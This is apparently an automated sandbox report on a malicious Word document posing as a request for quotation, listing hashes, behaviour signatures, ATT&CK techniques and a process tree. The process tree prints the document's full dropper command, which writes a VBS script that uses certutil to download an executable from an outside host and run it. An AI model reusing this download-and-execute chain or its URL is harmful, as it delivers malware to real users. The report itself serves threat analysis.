eb7cabca916e8bf7e7cfc0bae4d7569987a6516796dd7f6f9e6fe93c519dad62

Analysis

max time kernel
74s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
12/10/2022, 07:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RFQ-MVP300-3400.doc
Size 73KB
Sample221012-jm4t4ache6
SHA256 eb7cabca916e8bf7e7cfc0bae4d7569987a6516796dd7f6f9e6fe93c519dad62
MD5 b9fa8f1bf3cfb74acc2c5f58b67058b8
SHA1 79d42f688c7ff089585c07994bd6396d948602cb
SHA512 d1ca0115a374618a2e73b1c04d7c046b32af950688c4041c35623923c6d51c41404c7b23ebb62b7d1d777118df614943d7f279ee0e8e5d58aea86e3a97a6bd7e
SSDEEP 1536:TsCXf9SEqrr+j7WzWdCBfudtZnZJcn3bsWkC3b1L49wGk86JzC52p0cwvd3jo0Vu:oCXlnirj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4508	1780	cmd.exe	80

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
4312	bin.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2452	timeout.exe
4860	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1780	WINWORD.EXE
1780	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1780	WINWORD.EXE
1780	WINWORD.EXE
1780	WINWORD.EXE
1780	WINWORD.EXE
1780	WINWORD.EXE
1780	WINWORD.EXE
1780	WINWORD.EXE

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1780 wrote to memory of 4508	1780	WINWORD.EXE	93
PID 1780 wrote to memory of 4508	1780	WINWORD.EXE	93
PID 4508 wrote to memory of 2452	4508	cmd.exe	95
PID 4508 wrote to memory of 2452	4508	cmd.exe	95
PID 4508 wrote to memory of 4016	4508	cmd.exe	96
PID 4508 wrote to memory of 4016	4508	cmd.exe	96
PID 4508 wrote to memory of 4860	4508	cmd.exe	97
PID 4508 wrote to memory of 4860	4508	cmd.exe	97
PID 4016 wrote to memory of 996	4016	WScript.exe	98
PID 4016 wrote to memory of 996	4016	WScript.exe	98
PID 996 wrote to memory of 3232	996	cmd.exe	100
PID 996 wrote to memory of 3232	996	cmd.exe	100
PID 4016 wrote to memory of 1612	4016	WScript.exe	102
PID 4016 wrote to memory of 1612	4016	WScript.exe	102
PID 1612 wrote to memory of 4312	1612	cmd.exe	104
PID 1612 wrote to memory of 4312	1612	cmd.exe	104
PID 1612 wrote to memory of 4312	1612	cmd.exe	104

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RFQ-MVP300-3400.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c echo CreateObject("WScript.Shell").Run "cmd.exe /c certutil.exe -urlcache -split -f " + "https://teleldyne.com/jest/jimjam.exe" + " " + "%temp%\bin.exe", 0, True > %temp%\script.vbs && echo CreateObject("WScript.Shell").Run "cmd.exe /c %temp%\bin.exe", 0, True >> %temp%\script.vbs && timeout 3 && start %temp%\script.vbs && timeout 3 && del %temp%\script.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2452
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4016
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f https://teleldyne.com/jest/jimjam.exe C:\Users\Admin\AppData\Local\Temp\bin.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:996
    - - C:\Windows\system32\certutil.exe
        
        certutil.exe -urlcache -split -f https://teleldyne.com/jest/jimjam.exe C:\Users\Admin\AppData\Local\Temp\bin.exe
        5⤵
        
        PID:3232
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\bin.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1612
    - - C:\Users\Admin\AppData\Local\Temp\bin.exe
        
        C:\Users\Admin\AppData\Local\Temp\bin.exe
        5⤵
        Executes dropped EXE
        
        PID:4312
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4860

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bin.exe

Path C:\Users\Admin\AppData\Local\Temp\bin.exe
Size 1.0MB
SHA256 cc671bbb92c2489b341dcde62036b11f73b7d4baf6597209982bfe118a6a0ebc
MD5 21a09048557bed69c52e9bc307b49e12
SHA1 616f7289044539bc935b1a260c888755aa2cdd54
SHA512 eb6aa4a0bd5358f73f5c8dad76a976770bec079af285f98d436a80e9a6d51f8307fe45f114ce5a8533c8d55a2bc350e9a6b24aeafbdd693db2c1943aeec4fcb5
SSDEEP 12288:fHHZLA70cpdbdbdbdbdM+ryhJQ+Zew2HEuSQTfEe6d0IoPNRIyztaV/sw+r0weYT:/ZXKBBBBiN53UEulse6G/ZYQ5
MD5 SHA1 SHA512 SSDEEP

Submit Download

bin.exe

Path C:\Users\Admin\AppData\Local\Temp\bin.exe
Size 1.0MB
SHA256 cc671bbb92c2489b341dcde62036b11f73b7d4baf6597209982bfe118a6a0ebc
MD5 21a09048557bed69c52e9bc307b49e12
SHA1 616f7289044539bc935b1a260c888755aa2cdd54
SHA512 eb6aa4a0bd5358f73f5c8dad76a976770bec079af285f98d436a80e9a6d51f8307fe45f114ce5a8533c8d55a2bc350e9a6b24aeafbdd693db2c1943aeec4fcb5
SSDEEP 12288:fHHZLA70cpdbdbdbdbdM+ryhJQ+Zew2HEuSQTfEe6d0IoPNRIyztaV/sw+r0weYT:/ZXKBBBBiN53UEulse6G/ZYQ5
MD5 SHA1 SHA512 SSDEEP

Submit Download

script.vbs

Path C:\Users\Admin\AppData\Local\Temp\script.vbs
Size 291B
SHA256 613f6ad0f4411364a95ca22c4895cffedd25db6066952697e0a10cefe5d717fb
MD5 f594fa92291007474c47f6d09c34bcbd
SHA1 e2212e47445c63a6e14b2b6987d2d8856e6e2d4e
SHA512 26e274dd4335ee33433d28ad71d7d99424cab457f123851704a3a1cb11a2a9e1a4c2e13f72ba23de072c51decb6ed21025f0baf9f2201cdcf1e4bd46d480f43b
MD5 SHA1 SHA512

Submit Download

memory/1780-138-0x00007FFF53BF0000-0x00007FFF53C00000-memory.dmp

Download

memory/1780-132-0x00007FFF56550000-0x00007FFF56560000-memory.dmp

Download

memory/1780-137-0x00007FFF53BF0000-0x00007FFF53C00000-memory.dmp

Download

memory/1780-136-0x00007FFF56550000-0x00007FFF56560000-memory.dmp

Download

memory/1780-135-0x00007FFF56550000-0x00007FFF56560000-memory.dmp

Download

memory/1780-134-0x00007FFF56550000-0x00007FFF56560000-memory.dmp

Download

memory/1780-133-0x00007FFF56550000-0x00007FFF56560000-memory.dmp

Download

memory/4312-150-0x00000000000C0000-0x00000000001CE000-memory.dmp

Download

memory/4312-151-0x0000000005250000-0x00000000057F4000-memory.dmp

Download

memory/4312-152-0x0000000004BD0000-0x0000000004C62000-memory.dmp

Download

memory/4312-153-0x0000000004CA0000-0x0000000004D3C000-memory.dmp

Download

memory/4312-154-0x0000000004B60000-0x0000000004B6A000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads